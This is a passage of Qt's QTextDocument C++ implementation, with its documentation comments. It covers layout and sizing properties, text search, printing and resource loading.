as "dirty", informing the document that it needs to be laid out
again.
*/
void QTextDocument::markContentsDirty(int from, int length)
{
Q_D(QTextDocument);
d->documentChange(from, length);
if (!d->inContentsChange) {
if (d->lout) {
d->lout->documentChanged(d->docChangeFrom, d->docChangeOldLength, d->docChangeLength);
d->docChangeFrom = -1;
}
}
}
/*!
\property QTextDocument::useDesignMetrics
\since 4.1
\brief whether the document uses design metrics of fonts to improve the accuracy of text layout
If this property is set to true, the layout will use design metrics.
Otherwise, the metrics of the paint device as set on
QAbstractTextDocumentLayout::setPaintDevice() will be used.
Using design metrics makes a layout have a width that is no longer dependent on hinting
and pixel-rounding. This means that WYSIWYG text layout becomes possible because the width
scales much more linearly based on paintdevice metrics than it would otherwise.
By default, this property is \c false.
*/
void QTextDocument::setUseDesignMetrics(bool b)
{
Q_D(QTextDocument);
if (b == d->defaultTextOption.useDesignMetrics())
return;
d->defaultTextOption.setUseDesignMetrics(b);
if (d->lout)
d->lout->documentChanged(0, 0, d->length());
}
bool QTextDocument::useDesignMetrics() const
{
Q_D(const QTextDocument);
return d->defaultTextOption.useDesignMetrics();
}
/*!
\since 4.2
Draws the content of the document with painter \a p, clipped to \a rect.
If \a rect is a null rectangle (default) then the document is painted unclipped.
*/
void QTextDocument::drawContents(QPainter *p, const QRectF &rect)
{
p->save();
QAbstractTextDocumentLayout::PaintContext ctx;
if (rect.isValid()) {
p->setClipRect(rect);
ctx.clip = rect;
}
documentLayout()->draw(p, ctx);
p->restore();
}
/*!
\property QTextDocument::textWidth
\since 4.2
The text width specifies the preferred width for text in the document. If
the text (or content in general) is wider than the specified with it is broken
into multiple lines and grows vertically. If the text cannot be broken into multiple
lines to fit into the specified text width it will be larger and the size() and the
idealWidth() property will reflect that.
If the text width is set to -1 then the text will not be broken into multiple lines
unless it is enforced through an explicit line break or a new paragraph.
The default value is -1.
Setting the text width will also set the page height to -1, causing the document to
grow or shrink vertically in a continuous way. If you want the document layout to break
the text into multiple pages then you have to set the pageSize property instead.
\sa size(), idealWidth(), pageSize()
*/
void QTextDocument::setTextWidth(qreal width)
{
Q_D(QTextDocument);
QSizeF sz = d->pageSize;
sz.setWidth(width);
sz.setHeight(-1);
setPageSize(sz);
}
qreal QTextDocument::textWidth() const
{
Q_D(const QTextDocument);
return d->pageSize.width();
}
/*!
\since 4.2
Returns the ideal width of the text document. The ideal width is the actually used width
of the document without optional alignments taken into account. It is always <= size().width().
\sa adjustSize(), textWidth
*/
qreal QTextDocument::idealWidth() const
{
if (QTextDocumentLayout *lout = qobject_cast<QTextDocumentLayout *>(documentLayout()))
return lout->idealWidth();
return textWidth();
}
/*!
\property QTextDocument::documentMargin
\since 4.5
The margin around the document. The default is 4.
*/
qreal QTextDocument::documentMargin() const
{
Q_D(const QTextDocument);
return d->documentMargin;
}
void QTextDocument::setDocumentMargin(qreal margin)
{
Q_D(QTextDocument);
if (d->documentMargin != margin) {
d->documentMargin = margin;
QTextFrame* root = rootFrame();
QTextFrameFormat format = root->frameFormat();
format.setMargin(margin);
root->setFrameFormat(format);
if (d->lout)
d->lout->documentChanged(0, 0, d->length());
}
}
/*!
\property QTextDocument::indentWidth
\since 4.4
Returns the width used for text list and text block indenting.
The indent properties of QTextListFormat and QTextBlockFormat specify
multiples of this value. The default indent width is 40.
*/
qreal QTextDocument::indentWidth() const
{
Q_D(const QTextDocument);
return d->indentWidth;
}
/*!
\since 4.4
Sets the \a width used for text list and text block indenting.
The indent properties of QTextListFormat and QTextBlockFormat specify
multiples of this value. The default indent width is 40 .
\sa indentWidth()
*/
void QTextDocument::setIndentWidth(qreal width)
{
Q_D(QTextDocument);
if (d->indentWidth != width) {
d->indentWidth = width;
if (d->lout)
d->lout->documentChanged(0, 0, d->length());
}
}
/*!
\since 4.2
Adjusts the document to a reasonable size.
\sa idealWidth(), textWidth, size
*/
void QTextDocument::adjustSize()
{
// Pull this private function in from qglobal.cpp
QFont f = defaultFont();
QFontMetrics fm(f);
int mw = fm.width(QLatin1Char('x')) * 80;
int w = mw;
setTextWidth(w);
QSizeF size = documentLayout()->documentSize();
if (size.width() != 0) {
w = qt_int_sqrt((uint)(5 * size.height() * size.width() / 3));
setTextWidth(qMin(w, mw));
size = documentLayout()->documentSize();
if (w*3 < 5*size.height()) {
w = qt_int_sqrt((uint)(2 * size.height() * size.width()));
setTextWidth(qMin(w, mw));
}
}
setTextWidth(idealWidth());
}
/*!
\property QTextDocument::size
\since 4.2
Returns the actual size of the document.
This is equivalent to documentLayout()->documentSize();
The size of the document can be changed either by setting
a text width or setting an entire page size.
Note that the width is always >= pageSize().width().
By default, for a newly-created, empty document, this property contains
a configuration-dependent size.
\sa setTextWidth(), setPageSize(), idealWidth()
*/
QSizeF QTextDocument::size() const
{
return documentLayout()->documentSize();
}
/*!
\property QTextDocument::blockCount
\since 4.2
Returns the number of text blocks in the document.
The value of this property is undefined in documents with tables or frames.
By default, if defined, this property contains a value of 1.
\sa lineCount(), characterCount()
*/
int QTextDocument::blockCount() const
{
Q_D(const QTextDocument);
return d->blockMap().numNodes();
}
/*!
\since 4.5
Returns the number of lines of this document (if the layout supports
this). Otherwise, this is identical to the number of blocks.
\sa blockCount(), characterCount()
*/
int QTextDocument::lineCount() const
{
Q_D(const QTextDocument);
return d->blockMap().length(2);
}
/*!
\since 4.5
Returns the number of characters of this document.
\sa blockCount(), characterAt()
*/
int QTextDocument::characterCount() const
{
Q_D(const QTextDocument);
return d->length();
}
/*!
\since 4.5
Returns the character at position \a pos, or a null character if the
position is out of range.
\sa characterCount()
*/
QChar QTextDocument::characterAt(int pos) const
{
Q_D(const QTextDocument);
if (pos < 0 || pos >= d->length())
return QChar();
QTextDocumentPrivate::FragmentIterator fragIt = d->find(pos);
const QTextFragmentData * const frag = fragIt.value();
const int offsetInFragment = qMax(0, pos - fragIt.position());
return d->text.at(frag->stringPosition + offsetInFragment);
}
/*!
\property QTextDocument::defaultStyleSheet
\since 4.2
The default style sheet is applied to all newly HTML formatted text that is
inserted into the document, for example using setHtml() or QTextCursor::insertHtml().
The style sheet needs to be compliant to CSS 2.1 syntax.
\b{Note:} Changing the default style sheet does not have any effect to the existing content
of the document.
\sa {Supported HTML Subset}
*/
#ifndef QT_NO_CSSPARSER
void QTextDocument::setDefaultStyleSheet(const QString &sheet)
{
Q_D(QTextDocument);
d->defaultStyleSheet = sheet;
QCss::Parser parser(sheet);
d->parsedDefaultStyleSheet = QCss::StyleSheet();
d->parsedDefaultStyleSheet.origin = QCss::StyleSheetOrigin_UserAgent;
parser.parse(&d->parsedDefaultStyleSheet);
}
QString QTextDocument::defaultStyleSheet() const
{
Q_D(const QTextDocument);
return d->defaultStyleSheet;
}
#endif // QT_NO_CSSPARSER
/*!
\fn void QTextDocument::contentsChanged()
This signal is emitted whenever the document's content changes; for
example, when text is inserted or deleted, or when formatting is applied.
\sa contentsChange()
*/
/*!
\fn void QTextDocument::contentsChange(int position, int charsRemoved, int charsAdded)
This signal is emitted whenever the document's content changes; for
example, when text is inserted or deleted, or when formatting is applied.
Information is provided about the \a position of the character in the
document where the change occurred, the number of characters removed
(\a charsRemoved), and the number of characters added (\a charsAdded).
The signal is emitted before the document's layout manager is notified
about the change. This hook allows you to implement syntax highlighting
for the document.
\sa QAbstractTextDocumentLayout::documentChanged(), contentsChanged()
*/
/*!
\fn QTextDocument::undoAvailable(bool available);
This signal is emitted whenever undo operations become available
(\a available is true) or unavailable (\a available is false).
See the \l {Overview of Qt's Undo Framework}{Qt Undo Framework}
documentation for details.
\sa undo(), isUndoRedoEnabled()
*/
/*!
\fn QTextDocument::redoAvailable(bool available);
This signal is emitted whenever redo operations become available
(\a available is true) or unavailable (\a available is false).
*/
/*!
\fn QTextDocument::cursorPositionChanged(const QTextCursor &cursor);
This signal is emitted whenever the position of a cursor changed
due to an editing operation. The cursor that changed is passed in
\a cursor. If the document is used with the QTextEdit class and you need a signal when the
cursor is moved with the arrow keys you can use the \l{QTextEdit::}{cursorPositionChanged()}
signal in QTextEdit.
*/
/*!
\fn QTextDocument::blockCountChanged(int newBlockCount);
\since 4.3
This signal is emitted when the total number of text blocks in the
document changes. The value passed in \a newBlockCount is the new
total.
*/
/*!
\fn QTextDocument::documentLayoutChanged();
\since 4.4
This signal is emitted when a new document layout is set.
\sa setDocumentLayout()
*/
/*!
Returns \c true if undo is available; otherwise returns \c false.
\sa isRedoAvailable(), availableUndoSteps()
*/
bool QTextDocument::isUndoAvailable() const
{
Q_D(const QTextDocument);
return d->isUndoAvailable();
}
/*!
Returns \c true if redo is available; otherwise returns \c false.
\sa isUndoAvailable(), availableRedoSteps()
*/
bool QTextDocument::isRedoAvailable() const
{
Q_D(const QTextDocument);
return d->isRedoAvailable();
}
/*! \since 4.6
Returns the number of available undo steps.
\sa isUndoAvailable()
*/
int QTextDocument::availableUndoSteps() const
{
Q_D(const QTextDocument);
return d->availableUndoSteps();
}
/*! \since 4.6
Returns the number of available redo steps.
\sa isRedoAvailable()
*/
int QTextDocument::availableRedoSteps() const
{
Q_D(const QTextDocument);
return d->availableRedoSteps();
}
/*! \since 4.4
Returns the document's revision (if undo is enabled).
The revision is guaranteed to increase when a document that is not
modified is edited.
\sa QTextBlock::revision(), isModified()
*/
int QTextDocument::revision() const
{
Q_D(const QTextDocument);
return d->revision;
}
/*!
Sets the document to use the given \a layout. The previous layout
is deleted.
\sa documentLayoutChanged()
*/
void QTextDocument::setDocumentLayout(QAbstractTextDocumentLayout *layout)
{
Q_D(QTextDocument);
d->setLayout(layout);
}
/*!
Returns the document layout for this document.
*/
QAbstractTextDocumentLayout *QTextDocument::documentLayout() const
{
Q_D(const QTextDocument);
if (!d->lout) {
QTextDocument *that = const_cast<QTextDocument *>(this);
that->d_func()->setLayout(new QTextDocumentLayout(that));
}
return d->lout;
}
/*!
Returns meta information about the document of the type specified by
\a info.
\sa setMetaInformation()
*/
QString QTextDocument::metaInformation(MetaInformation info) const
{
Q_D(const QTextDocument);
switch (info) {
case DocumentTitle:
return d->title;
case DocumentUrl:
return d->url;
}
return QString();
}
/*!
Sets the document's meta information of the type specified by \a info
to the given \a string.
\sa metaInformation()
*/
void QTextDocument::setMetaInformation(MetaInformation info, const QString &string)
{
Q_D(QTextDocument);
switch (info) {
case DocumentTitle:
d->title = string;
break;
case DocumentUrl:
d->url = string;
break;
}
}
/*!
Returns the plain text contained in the document. If you want
formatting information use a QTextCursor instead.
\sa toHtml()
*/
QString QTextDocument::toPlainText() const
{
Q_D(const QTextDocument);
QString txt = d->plainText();
QChar *uc = txt.data();
QChar *e = uc + txt.size();
for (; uc != e; ++uc) {
switch (uc->unicode()) {
case 0xfdd0: // QTextBeginningOfFrame
case 0xfdd1: // QTextEndOfFrame
case QChar::ParagraphSeparator:
case QChar::LineSeparator:
*uc = QLatin1Char('\n');
break;
case QChar::Nbsp:
*uc = QLatin1Char(' ');
break;
default:
;
}
}
return txt;
}
/*!
Replaces the entire contents of the document with the given plain
\a text.
\sa setHtml()
*/
void QTextDocument::setPlainText(const QString &text)
{
Q_D(QTextDocument);
bool previousState = d->isUndoRedoEnabled();
d->enableUndoRedo(false);
d->beginEditBlock();
d->clear();
QTextCursor(this).insertText(text);
d->endEditBlock();
d->enableUndoRedo(previousState);
}
/*!
Replaces the entire contents of the document with the given
HTML-formatted text in the \a html string.
The HTML formatting is respected as much as possible; for example,
"<b>bold</b> text" will produce text where the first word has a font
weight that gives it a bold appearance: "\b{bold} text".
\note It is the responsibility of the caller to make sure that the
text is correctly decoded when a QString containing HTML is created
and passed to setHtml().
\sa setPlainText(), {Supported HTML Subset}
*/
#ifndef QT_NO_TEXTHTMLPARSER
void QTextDocument::setHtml(const QString &html)
{
Q_D(QTextDocument);
bool previousState = d->isUndoRedoEnabled();
d->enableUndoRedo(false);
d->beginEditBlock();
d->clear();
QTextHtmlImporter(this, html, QTextHtmlImporter::ImportToDocument).import();
d->endEditBlock();
d->enableUndoRedo(previousState);
}
#endif // QT_NO_TEXTHTMLPARSER
/*!
\enum QTextDocument::FindFlag
This enum describes the options available to QTextDocument's find function. The options
can be OR-ed together from the following list:
\value FindBackward Search backwards instead of forwards.
\value FindCaseSensitively By default find works case insensitive. Specifying this option
changes the behaviour to a case sensitive find operation.
\value FindWholeWords Makes find match only complete words.
*/
/*!
\enum QTextDocument::MetaInformation
This enum describes the different types of meta information that can be
added to a document.
\value DocumentTitle The title of the document.
\value DocumentUrl The url of the document. The loadResource() function uses
this url as the base when loading relative resources.
\sa metaInformation(), setMetaInformation()
*/
/*!
\fn QTextCursor QTextDocument::find(const QString &subString, int position, FindFlags options) const
\overload
Finds the next occurrence of the string, \a subString, in the document.
The search starts at the given \a position, and proceeds forwards
through the document unless specified otherwise in the search options.
The \a options control the type of search performed.
Returns a cursor with the match selected if \a subString
was found; otherwise returns a null cursor.
If the \a position is 0 (the default) the search begins from the beginning
of the document; otherwise it begins at the specified position.
*/
QTextCursor QTextDocument::find(const QString &subString, int from, FindFlags options) const
{
QRegExp expr(subString);
expr.setPatternSyntax(QRegExp::FixedString);
expr.setCaseSensitivity((options & QTextDocument::FindCaseSensitively) ? Qt::CaseSensitive : Qt::CaseInsensitive);
return find(expr, from, options);
}
/*!
\fn QTextCursor QTextDocument::find(const QString &subString, const QTextCursor &cursor, FindFlags options) const
Finds the next occurrence of the string, \a subString, in the document.
The search starts at the position of the given \a cursor, and proceeds
forwards through the document unless specified otherwise in the search
options. The \a options control the type of search performed.
Returns a cursor with the match selected if \a subString was found; otherwise
returns a null cursor.
If the given \a cursor has a selection, the search begins after the
selection; otherwise it begins at the cursor's position.
By default the search is case-sensitive, and can match text anywhere in the
document.
*/
QTextCursor QTextDocument::find(const QString &subString, const QTextCursor &from, FindFlags options) const
{
int pos = 0;
if (!from.isNull()) {
if (options & QTextDocument::FindBackward)
pos = from.selectionStart();
else
pos = from.selectionEnd();
}
QRegExp expr(subString);
expr.setPatternSyntax(QRegExp::FixedString);
expr.setCaseSensitivity((options & QTextDocument::FindCaseSensitively) ? Qt::CaseSensitive : Qt::CaseInsensitive);
return find(expr, pos, options);
}
static bool findInBlock(const QTextBlock &block, const QRegExp &expression, int offset,
QTextDocument::FindFlags options, QTextCursor &cursor)
{
QRegExp expr(expression);
QString text = block.text();
text.replace(QChar::Nbsp, QLatin1Char(' '));
int idx = -1;
while (offset >=0 && offset <= text.length()) {
idx = (options & QTextDocument::FindBackward) ?
expr.lastIndexIn(text, offset) : expr.indexIn(text, offset);
if (idx == -1)
return false;
if (options & QTextDocument::FindWholeWords) {
const int start = idx;
const int end = start + expr.matchedLength();
if ((start != 0 && text.at(start - 1).isLetterOrNumber())
|| (end != text.length() && text.at(end).isLetterOrNumber())) {
//if this is not a whole word, continue the search in the string
offset = (options & QTextDocument::FindBackward) ? idx-1 : end+1;
idx = -1;
continue;
}
}
//we have a hit, return the cursor for that.
break;
}
if (idx == -1)
return false;
cursor = QTextCursor(block.docHandle(), block.position() + idx);
cursor.setPosition(cursor.position() + expr.matchedLength(), QTextCursor::KeepAnchor);
return true;
}
/*!
\fn QTextCursor QTextDocument::find(const QRegExp & expr, int position, FindFlags options) const
\overload
Finds the next occurrence, matching the regular expression, \a expr, in the document.
The search starts at the given \a position, and proceeds forwards
through the document unless specified otherwise in the search options.
The \a options control the type of search performed. The FindCaseSensitively
option is ignored for this overload, use QRegExp::caseSensitivity instead.
Returns a cursor with the match selected if a match was found; otherwise
returns a null cursor.
If the \a position is 0 (the default) the search begins from the beginning
of the document; otherwise it begins at the specified position.
*/
QTextCursor QTextDocument::find(const QRegExp & expr, int from, FindFlags options) const
{
Q_D(const QTextDocument);
if (expr.isEmpty())
return QTextCursor();
int pos = from;
//the cursor is positioned between characters, so for a backward search
//do not include the character given in the position.
if (options & FindBackward) {
--pos ;
if(pos < 0)
return QTextCursor();
}
QTextCursor cursor;
QTextBlock block = d->blocksFind(pos);
if (!(options & FindBackward)) {
int blockOffset = qMax(0, pos - block.position());
while (block.isValid()) {
if (findInBlock(block, expr, blockOffset, options, cursor))
return cursor;
blockOffset = 0;
block = block.next();
}
} else {
int blockOffset = pos - block.position();
while (block.isValid()) {
if (findInBlock(block, expr, blockOffset, options, cursor))
return cursor;
block = block.previous();
blockOffset = block.length() - 1;
}
}
return QTextCursor();
}
/*!
\fn QTextCursor QTextDocument::find(const QRegExp &expr, const QTextCursor &cursor, FindFlags options) const
Finds the next occurrence, matching the regular expression, \a expr, in the document.
The search starts at the position of the given \a cursor, and proceeds
forwards through the document unless specified otherwise in the search
options. The \a options control the type of search performed. The FindCaseSensitively
option is ignored for this overload, use QRegExp::caseSensitivity instead.
Returns a cursor with the match selected if a match was found; otherwise
returns a null cursor.
If the given \a cursor has a selection, the search begins after the
selection; otherwise it begins at the cursor's position.
By default the search is case-sensitive, and can match text anywhere in the
document.
*/
QTextCursor QTextDocument::find(const QRegExp &expr, const QTextCursor &from, FindFlags options) const
{
int pos = 0;
if (!from.isNull()) {
if (options & QTextDocument::FindBackward)
pos = from.selectionStart();
else
pos = from.selectionEnd();
}
return find(expr, pos, options);
}
/*!
\fn QTextObject *QTextDocument::createObject(const QTextFormat &format)
Creates and returns a new document object (a QTextObject), based
on the given \a format.
QTextObjects will always get created through this method, so you
must reimplement it if you use custom text objects inside your document.
*/
QTextObject *QTextDocument::createObject(const QTextFormat &f)
{
QTextObject *obj = 0;
if (f.isListFormat())
obj = new QTextList(this);
else if (f.isTableFormat())
obj = new QTextTable(this);
else if (f.isFrameFormat())
obj = new QTextFrame(this);
return obj;
}
/*!
\internal
Returns the frame that contains the text cursor position \a pos.
*/
QTextFrame *QTextDocument::frameAt(int pos) const
{
Q_D(const QTextDocument);
return d->frameAt(pos);
}
/*!
Returns the document's root frame.
*/
QTextFrame *QTextDocument::rootFrame() const
{
Q_D(const QTextDocument);
return d->rootFrame();
}
/*!
Returns the text object associated with the given \a objectIndex.
*/
QTextObject *QTextDocument::object(int objectIndex) const
{
Q_D(const QTextDocument);
return d->objectForIndex(objectIndex);
}
/*!
Returns the text object associated with the format \a f.
*/
QTextObject *QTextDocument::objectForFormat(const QTextFormat &f) const
{
Q_D(const QTextDocument);
return d->objectForFormat(f);
}
/*!
Returns the text block that contains the \a{pos}-th character.
*/
QTextBlock QTextDocument::findBlock(int pos) const
{
Q_D(const QTextDocument);
return QTextBlock(docHandle(), d->blockMap().findNode(pos));
}
/*!
\since 4.4
Returns the text block with the specified \a blockNumber.
\sa QTextBlock::blockNumber()
*/
QTextBlock QTextDocument::findBlockByNumber(int blockNumber) const
{
Q_D(const QTextDocument);
return QTextBlock(docHandle(), d->blockMap().findNode(blockNumber, 1));
}
/*!
\since 4.5
Returns the text block that contains the specified \a lineNumber.
\sa QTextBlock::firstLineNumber()
*/
QTextBlock QTextDocument::findBlockByLineNumber(int lineNumber) const
{
Q_D(const QTextDocument);
return QTextBlock(docHandle(), d->blockMap().findNode(lineNumber, 2));
}
/*!
Returns the document's first text block.
\sa firstBlock()
*/
QTextBlock QTextDocument::begin() const
{
Q_D(const QTextDocument);
return QTextBlock(docHandle(), d->blockMap().begin().n);
}
/*!
This function returns a block to test for the end of the document
while iterating over it.
\snippet textdocumentendsnippet.cpp 0
The block returned is invalid and represents the block after the
last block in the document. You can use lastBlock() to retrieve the
last valid block of the document.
\sa lastBlock()
*/
QTextBlock QTextDocument::end() const
{
return QTextBlock(docHandle(), 0);
}
/*!
\since 4.4
Returns the document's first text block.
*/
QTextBlock QTextDocument::firstBlock() const
{
Q_D(const QTextDocument);
return QTextBlock(docHandle(), d->blockMap().begin().n);
}
/*!
\since 4.4
Returns the document's last (valid) text block.
*/
QTextBlock QTextDocument::lastBlock() const
{
Q_D(const QTextDocument);
return QTextBlock(docHandle(), d->blockMap().last().n);
}
/*!
\property QTextDocument::pageSize
\brief the page size that should be used for laying out the document
By default, for a newly-created, empty document, this property contains
an undefined size.
\sa modificationChanged()
*/
void QTextDocument::setPageSize(const QSizeF &size)
{
Q_D(QTextDocument);
d->pageSize = size;
if (d->lout)
d->lout->documentChanged(0, 0, d->length());
}
QSizeF QTextDocument::pageSize() const
{
Q_D(const QTextDocument);
return d->pageSize;
}
/*!
returns the number of pages in this document.
*/
int QTextDocument::pageCount() const
{
return documentLayout()->pageCount();
}
/*!
Sets the default \a font to use in the document layout.
*/
void QTextDocument::setDefaultFont(const QFont &font)
{
Q_D(QTextDocument);
d->setDefaultFont(font);
if (d->lout)
d->lout->documentChanged(0, 0, d->length());
}
/*!
Returns the default font to be used in the document layout.
*/
QFont QTextDocument::defaultFont() const
{
Q_D(const QTextDocument);
return d->defaultFont();
}
/*!
\fn QTextDocument::modificationChanged(bool changed)
This signal is emitted whenever the content of the document
changes in a way that affects the modification state. If \a
changed is true, the document has been modified; otherwise it is
false.
For example, calling setModified(false) on a document and then
inserting text causes the signal to get emitted. If you undo that
operation, causing the document to return to its original
unmodified state, the signal will get emitted again.
*/
/*!
\property QTextDocument::modified
\brief whether the document has been modified by the user
By default, this property is \c false.
\sa modificationChanged()
*/
bool QTextDocument::isModified() const
{
return docHandle()->isModified();
}
void QTextDocument::setModified(bool m)
{
docHandle()->setModified(m);
}
#ifndef QT_NO_PRINTER
static void printPage(int index, QPainter *painter, const QTextDocument *doc, const QRectF &body, const QPointF &pageNumberPos)
{
painter->save();
painter->translate(body.left(), body.top() - (index - 1) * body.height());
QRectF view(0, (index - 1) * body.height(), body.width(), body.height());
QAbstractTextDocumentLayout *layout = doc->documentLayout();
QAbstractTextDocumentLayout::PaintContext ctx;
painter->setClipRect(view);
ctx.clip = view;
// don't use the system palette text as default text color, on HP/UX
// for example that's white, and white text on white paper doesn't
// look that nice
ctx.palette.setColor(QPalette::Text, Qt::black);
layout->draw(painter, ctx);
if (!pageNumberPos.isNull()) {
painter->setClipping(false);
painter->setFont(QFont(doc->defaultFont()));
const QString pageString = QString::number(index);
painter->drawText(qRound(pageNumberPos.x() - painter->fontMetrics().width(pageString)),
qRound(pageNumberPos.y() + view.top()),
pageString);
}
painter->restore();
}
/*!
Prints the document to the given \a printer. The QPageablePaintDevice must be
set up before being used with this function.
This is only a convenience method to print the whole document to the printer.
If the document is already paginated through a specified height in the pageSize()
property it is printed as-is.
If the document is not paginated, like for example a document used in a QTextEdit,
then a temporary copy of the document is created and the copy is broken into
multiple pages according to the size of the paint device's paperRect(). By default
a 2 cm margin is set around the document contents. In addition the current page
number is printed at the bottom of each page.
\sa QTextEdit::print()
*/
void QTextDocument::print(QPagedPaintDevice *printer) const
{
Q_D(const QTextDocument);
if (!printer)
return;
bool documentPaginated = d->pageSize.isValid() && !d->pageSize.isNull()
&& d->pageSize.height() != INT_MAX;
QPagedPaintDevicePrivate *pd = QPagedPaintDevicePrivate::get(printer);
// ### set page size to paginated size?
QPagedPaintDevice::Margins m = printer->margins();
if (!documentPaginated && m.left == 0. && m.right == 0. && m.top == 0. && m.bottom == 0.) {
m.left = m.right = m.top = m.bottom = 2.;
printer->setMargins(m);
}
// ### use the margins correctly
QPainter p(printer);
// Check that there is a valid device to print to.
if (!p.isActive())
return;
const QTextDocument *doc = this;
QScopedPointer<QTextDocument> clonedDoc;
(void)doc->documentLayout(); // make sure that there is a layout
QRectF body = QRectF(QPointF(0, 0), d->pageSize);
QPointF pageNumberPos;
if (documentPaginated) {
qreal sourceDpiX = qt_defaultDpi();
qreal sourceDpiY = sourceDpiX;
QPaintDevice *dev = doc->documentLayout()->paintDevice();
if (dev) {
sourceDpiX = dev->logicalDpiX();
sourceDpiY = dev->logicalDpiY();
}
const qreal dpiScaleX = qreal(printer->logicalDpiX()) / sourceDpiX;
const qreal dpiScaleY = qreal(printer->logicalDpiY()) / sourceDpiY;
// scale to dpi
p.scale(dpiScaleX, dpiScaleY);
QSizeF scaledPageSize = d->pageSize;
scaledPageSize.rwidth() *= dpiScaleX;
scaledPageSize.rheight() *= dpiScaleY;
const QSizeF printerPageSize(printer->width(), printer->height());
// scale to page
p.scale(printerPageSize.width() / scaledPageSize.width(),
printerPageSize.height() / scaledPageSize.height());
} else {
doc = clone(const_cast<QTextDocument *>(this));
clonedDoc.reset(const_cast<QTextDocument *>(doc));
for (QTextBlock srcBlock = firstBlock(), dstBlock = clonedDoc->firstBlock();
srcBlock.isValid() && dstBlock.isValid();
srcBlock = srcBlock.next(), dstBlock = dstBlock.next()) {
dstBlock.layout()->setAdditionalFormats(srcBlock.layout()->additionalFormats());
}
QAbstractTextDocumentLayout *layout = doc->documentLayout();
layout->setPaintDevice(p.device());
// copy the custom object handlers
layout->d_func()->handlers = documentLayout()->d_func()->handlers;
int dpiy = p.device()->logicalDpiY();
int margin = (int) ((2/2.54)*dpiy); // 2 cm margins
QTextFrameFormat fmt = doc->rootFrame()->frameFormat();
fmt.setMargin(margin);
doc->rootFrame()->setFrameFormat(fmt);
body = QRectF(0, 0, printer->width(), printer->height());
pageNumberPos = QPointF(body.width() - margin,
body.height() - margin
+ QFontMetrics(doc->defaultFont(), p.device()).ascent()
+ 5 * dpiy / 72.0);
clonedDoc->setPageSize(body.size());
}
int fromPage = pd->fromPage;
int toPage = pd->toPage;
bool ascending = true;
if (fromPage == 0 && toPage == 0) {
fromPage = 1;
toPage = doc->pageCount();
}
// paranoia check
fromPage = qMax(1, fromPage);
toPage = qMin(doc->pageCount(), toPage);
if (toPage < fromPage) {
// if the user entered a page range outside the actual number
// of printable pages, just return
return;
}
// if (printer->pageOrder() == QPrinter::LastPageFirst) {
// int tmp = fromPage;
// fromPage = toPage;
// toPage = tmp;
// ascending = false;
// }
int page = fromPage;
while (true) {
printPage(page, &p, doc, body, pageNumberPos);
if (page == toPage)
break;
if (ascending)
++page;
else
--page;
if (!printer->newPage())
return;
}
}
#endif
/*!
\enum QTextDocument::ResourceType
This enum describes the types of resources that can be loaded by
QTextDocument's loadResource() function.
\value HtmlResource The resource contains HTML.
\value ImageResource The resource contains image data.
Currently supported data types are QVariant::Pixmap and
QVariant::Image. If the corresponding variant is of type
QVariant::ByteArray then Qt attempts to load the image using
QImage::loadFromData. QVariant::Icon is currently not supported.
The icon needs to be converted to one of the supported types first,
for example using QIcon::pixmap.
\value StyleSheetResource The resource contains CSS.
\value UserResource The first available value for user defined
resource types.
\sa loadResource()
*/
/*!
Returns data of the specified \a type from the resource with the
given \a name.
This function is called by the rich text engine to request data that isn't
directly stored by QTextDocument, but still associated with it. For example,
images are referenced indirectly by the name attribute of a QTextImageFormat
object.
Resources are cached internally in the document. If a resource can
not be found in the cache, loadResource is called to try to load
the resource. loadResource should then use addResource to add the
resource to the cache.
\sa QTextDocument::ResourceType
*/
QVariant QTextDocument::resource(int type, const QUrl &name) const
{
Q_D(const QTextDocument);
const QUrl url = d->baseUrl.resolved(name);
QVariant r = d->resources.value(url);
if (!r.isValid()) {
r = d->cachedResources.value(url);
if (!r.isValid())
r = const_cast<QTextDocument *>(this)->loadResource(type, url);
}
return r;
}
/*!
Adds the resource \a resource to the resource cache, using \a
type and \a name as identifiers. \a type should be a value from
QTextDocument::ResourceType.
For example, you can add an image as a resource in order to reference it
from within the document:
\snippet textdocument-resources/main.cpp Adding a resource
The image can be inserted into the document using the QTextCursor API:
\snippet textdocument-resources/main.cpp Inserting an image with a cursor
Alternatively, you can insert images using the HTML \c img tag:
\snippet textdocument-resources/main.cpp Inserting an image using HTML
*/
void QTextDocument::addResource(int type, const QUrl &name, const QVariant &resource)
{
Q_UNUSED(type);
Q_D(QTextDocument);
d->resources.insert(name, resource);
}
/*!
Loads data of the specified \a type from the resource with the
given \a name.
This function is called by the rich text engine to request data that isn't
directly stored by QTextDocument, but still associated with it. For example,
images are referenced indirectly by the name attribute of a QTextImageFormat
object.
When called by Qt, \a type is one of the values of
QTextDocument::ResourceType.
If the QTextDocument is a child object of a QObject that has an invokable
loadResource method such as QTextEdit, QTextBrowser
or a QTextDocument itself then the default implementation tries
to retrieve the data from the parent.
*/
QVariant QTextDocument::loadResource(int type, const QUrl &name)
{
Q_D(QTextDocument);
QVariant r;
QObject *p = parent();
if (p) {
const QMetaObject *me = p->metaObject();
int index = me->indexOfMethod("loadResource(int,QUrl)");
if (index >= 0) {
QMetaMethod loader = me->method(index);
loader.invoke(p, Q_RETURN_ARG(QVariant, r), Q_ARG(int, type), Q_ARG(QUrl, name));
}
}
// handle data: URLs
if (r.isNull() && name.scheme().compare(QLatin1String("data"), Qt::CaseInsensitive) == 0) {
QString mimetype;
QByteArray payload;
if (qDecodeDataUrl(name, mimetype, payload))
r = payload;
}
// if resource was not loaded try to load it here
if (!qobject_cast<QTextDocument *>(p) && r.isNull()) {
QUrl resourceUrl = name;
if (name.isRelative()) {
QUrl currentURL = d->url;
// For the second case QUrl can merge "#someanchor" with "foo.html"
// correctly to "foo.html#someanchor"
if (!(currentURL.isRelative()
|| (currentURL.scheme() == QLatin1String("file")
&& !QFileInfo(currentURL.toLocalFile()).isAbsolute()))
|| (name.hasFragment() && name.path().isEmpty())) {
resourceUrl = currentURL.resolved(name);
} else {
// this is our last resort when current url and new url are both relative
// we try to resolve against the current working directory in the local
// file system.
QFileInfo fi(currentURL.toLocalFile());
if (fi.exists()) {
resourceUrl =
QUrl::fromLocalFile(fi.absolutePath() + QDir::separator()).resolved(name);
} else if (currentURL.isEmpty()) {
resourceUrl.setScheme(QLatin1String("file"));
}
}
}
QString s = resourceUrl.toLocalFile();
QFile f(s);
if (!s.isEmpty() && f.open(QFile::ReadOnly)) {
r = f.readAll();
f.close();
}
}
if (!r.isNull()) {
if (type == ImageResource && r.type() == QVariant::ByteArray) {
if (qApp->thread() != QThread::currentThread()) {
// must use images in non-GUI threads
QImage image;
image.loadFromData(r.toByteArray());
if (!image.isNull())
r = image;
} else {
QPixmap pm;
pm.loadFromData(r.toByteArray());
if (!pm.isNull())
